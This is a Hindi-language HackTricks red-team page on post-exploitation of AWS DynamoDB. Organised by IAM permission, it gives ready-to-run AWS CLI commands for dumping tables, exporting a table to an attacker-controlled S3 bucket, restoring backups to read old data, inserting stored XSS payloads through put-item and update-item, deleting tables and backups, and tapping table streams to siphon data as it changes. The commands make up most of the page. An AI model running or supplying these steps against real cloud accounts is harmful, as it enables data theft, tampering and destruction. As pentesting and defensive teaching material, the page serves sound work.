AWS - DynamoDB Post Exploitation

शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

DynamoDB

अधिक जानकारी के लिए देखें:

pageAWS - DynamoDB Enum

dynamodb:BatchGetItem

इस अनुमति के साथ एक हमलावर तालिकाओं से प्राइमरी की द्वारा आइटम्स प्राप्त कर सकता है (आप तालिका का सारा डेटा सीधे नहीं मांग सकते)। इसका मतलब है कि आपको प्राइमरी कीज़ का पता होना चाहिए (आप यह तालिका मेटाडेटा (describe-table) प्राप्त करके जान सकते हैं)।

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
aws dynamodb batch-get-item \
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
--region <region>

संभावित प्रभाव: तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc

dynamodb:GetItem

पिछली अनुमतियों के समान, यह अनुमति एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देती है, बशर्ते प्रविष्टि की प्राथमिक कुंजी दी गई हो:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

इस अनुमति के साथ transact-get-items विधि का उपयोग इस प्रकार भी संभव है:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

संभावित प्रभाव: तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc

dynamodb:Query

पिछली अनुमतियों के समान, यह अनुमति एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देती है, बशर्ते कि प्रविष्टि की प्राथमिक कुंजी दी गई हो। यह तुलनाओं का एक उपसमूह का उपयोग करने की अनुमति देता है, लेकिन प्राथमिक कुंजी के साथ अनुमत एकमात्र तुलना "EQ" है, इसलिए आप एक अनुरोध में पूरे DB प्राप्त करने के लिए तुलना का उपयोग नहीं कर सकते।

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

संभावित प्रभाव: तालिका में संवेदनशील जानकारी का पता लगाकर परोक्ष privesc

dynamodb:Scan

आप इस अनुमति का उपयोग पूरी तालिका को आसानी से डंप करने के लिए कर सकते हैं।

aws dynamodb scan --table-name <t_name> #Get data inside the table

संभावित प्रभाव: टेबल में संवेदनशील जानकारी का पता लगाकर परोक्ष privesc

dynamodb:PartiQLSelect

आप इस अनुमति का उपयोग पूरी टेबल को आसानी से डंप करने के लिए कर सकते हैं।

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

यह अनुमति batch-execute-statement जैसे कार्य करने की भी अनुमति देती है:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

लेकिन आपको प्राइमरी की के साथ एक मान निर्दिष्ट करना होगा, इसलिए यह उतना उपयोगी नहीं है।

संभावित प्रभाव: टेबल में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

यह अनुमति हमलावर को पूरी टेबल को उसकी पसंद के S3 बकेट में निर्यात करने की अनुमति देगी:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

ध्यान दें कि इसके काम करने के लिए टेबल में point-in-time-recovery सक्षम होना चाहिए, आप यह जांच सकते हैं कि क्या टेबल में यह सुविधा है:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

यदि यह सक्षम नहीं है, तो आपको इसे सक्षम करना होगा और इसके लिए आपको dynamodb:ExportTableToPointInTime अनुमति की आवश्यकता होगी:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

संभावित प्रभाव: तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

इन अनुमतियों के साथ, एक हमलावर नई तालिका बैकअप से बनाने में सक्षम होगा (या यहां तक कि एक बैकअप बनाकर उसे अलग तालिका में पुनर्स्थापित करने के लिए)। फिर, आवश्यक अनुमतियों के साथ, वह जानकारी की जांच करने में सक्षम होगा जो उत्पादन तालिका में अब नहीं हो सकती है

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

संभावित प्रभाव: टेबल बैकअप में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc

dynamodb:PutItem

यह अनुमति उपयोगकर्ताओं को नई आइटम जोड़ने या मौजूदा आइटम को नई आइटम से बदलने की अनुमति देती है। यदि समान प्राइमरी कुंजी वाली आइटम पहले से मौजूद है, तो पूरी आइटम नई आइटम से बदल दी जाएगी। यदि प्राइमरी कुंजी मौजूद नहीं है, तो निर्दिष्ट प्राइमरी कुंजी के साथ एक नई आइटम बनाई जाएगी

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

संभावित प्रभाव: DynamoDB टेबल में डेटा जोड़ने/संशोधित करने की क्षमता होने से आगे की कमजोरियों/बाईपास का शोषण

dynamodb:UpdateItem

यह अनुमति उपयोगकर्ताओं को मौजूदा आइटम के गुणों को संशोधित करने या एक आइटम में नए गुण जोड़ने की अनुमति देती है। यह पूरे आइटम को प्रतिस्थापित नहीं करता; यह केवल निर्दिष्ट गुणों को अपडेट करता है। यदि प्राइमरी कुंजी टेबल में मौजूद नहीं है, तो ऑपरेशन नए आइटम को बनाएगा जिसमें निर्दिष्ट प्राइमरी कुंजी होगी और अपडेट एक्सप्रेशन में निर्दिष्ट गुणों को सेट करेगा।

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

संभावित प्रभाव: DynamoDB टेबल में डेटा जोड़ने/संशोधित करने की क्षमता से आगे की कमजोरियों/बाईपास का शोषण

dynamodb:DeleteTable

इस अनुमति के साथ एक हमलावर DynamoDB टेबल को हटा सकता है, जिससे डेटा हानि हो सकती है

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

संभावित प्रभाव: डेटा हानि और उस टेबल पर निर्भर सेवाओं का व्यवधान।

dynamodb:DeleteBackup

इस अनुमति के साथ एक हमलावर DynamoDB बैकअप को हटा सकता है, जिससे आपदा पुनर्प्राप्ति परिदृश्य में डेटा हानि हो सकती है

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

संभावित प्रभाव: डेटा हानि और आपदा पुनर्प्राप्ति परिदृश्य के दौरान बैकअप से पुनर्प्राप्ति की अक्षमता।

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: यह जांचें कि यह वास्तव में काम करता है या नहीं

इन अनुमतियों वाला हमलावर DynamoDB टेबल पर एक स्ट्रीम सक्षम कर सकता है, टेबल को अपडेट करके स्ट्रीमिंग परिवर्तनों को शुरू कर सकता है, और फिर स्ट्रीम तक पहुंच कर टेबल में परिवर्तनों की निगरानी वास्तविक समय में कर सकता है। इससे हमलावर को डेटा परिवर्तनों की निगरानी करने और निकालने की क्षमता मिलती है, जिससे डेटा लीक होने की संभावना होती है।

  1. DynamoDB टेबल पर एक स्ट्रीम सक्षम करें:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. ARN और अन्य विवरण प्राप्त करने के लिए स्ट्रीम का वर्णन करें:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. स्ट्रीम ARN का उपयोग करके शार्ड इटरेटर प्राप्त करें:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. स्ट्रीम से डेटा तक पहुँचने और निकालने के लिए शार्ड इटरेटर का उपयोग करें:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

संभावित प्रभाव: DynamoDB टेबल के परिवर्तनों की वास्तविक समय निगरानी और डेटा लीकेज।

शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated